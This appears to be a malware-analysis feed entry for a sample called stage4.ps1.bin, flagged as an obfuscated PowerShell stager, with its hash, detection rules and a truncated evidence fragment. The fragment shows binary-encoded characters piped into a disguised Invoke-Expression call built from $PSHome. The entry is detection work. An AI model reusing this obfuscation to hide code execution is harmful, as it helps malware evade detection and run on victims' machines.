Suspicious 85% Download

4. stage4.ps1.bin

PowerShell stager with obfuscated eval

PowerShell data binary-array eval stagerPowerShell PSHome-index invocation in data
SHA-2560b811e347bfe27424827cdcdede953f276d2ebc5919db05926d2ffe0aca39280
MaleculeO₂(CAs)

Evidence

PowerShell data binary-array eval stager line 195578
195578…00 , 100111, 1100000 , 100111 , 101001,101001) |fOREAch { ( [COnvert]::TOint16( ($_.TosTRiNg()),2)-as[cHaR])} )| . ( $ps…

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.